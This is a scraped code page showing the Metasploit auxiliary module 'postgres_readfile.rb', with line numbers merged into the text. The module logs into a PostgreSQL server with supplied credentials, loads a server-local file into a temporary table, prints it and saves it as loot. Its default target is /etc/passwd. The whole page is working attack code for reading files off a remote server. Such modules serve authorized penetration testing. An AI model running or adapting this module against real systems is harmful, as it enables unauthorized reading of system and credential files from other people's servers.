Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/postgres/postgres_readfile.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Postgres7include Msf::Auxiliary::Report8include Msf::OptionalSession::PostgreSQL910def initialize(info = {})11super(update_info(info,12'Name' => 'PostgreSQL Server Generic Query',13'Description' => %q{14This module imports a file local on the PostgreSQL Server into a15temporary table, reads it, and then drops the temporary table.16It requires PostgreSQL credentials with table CREATE privileges17as well as read privileges to the target file.18},19'Author' => [ 'todb' ],20'License' => MSF_LICENSE21))2223register_options(24[25OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])26]27)2829deregister_options( 'SQL', 'RETURN_ROWSET' )30end3132def rhost33datastore['RHOST']34end3536def rport37datastore['RPORT']38end3940def run41self.postgres_conn = session.client if session42ret = postgres_read_textfile(datastore['RFILE'])43case ret.keys[0]44when :conn_error45print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."46when :sql_error47case ret[:sql_error]48when /^C58P01/49print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - No such file or directory."50vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"51when /^C42501/52print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient file permissions."53vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"54else55print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"56end57when :complete58loot = ''59ret[:complete].rows.each { |row|60print_line(row.first)61loot << row.first62}63# No idea what the actual ctype will be, text/plain is just a guess64path = store_loot('postgres.file', 'text/plain', postgres_conn.peerhost, loot, datastore['RFILE'])65print_good("#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{datastore['RFILE']} saved in #{path}")66vprint_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Command complete."67end68postgres_logout if self.postgres_conn && session.blank?69end70end717273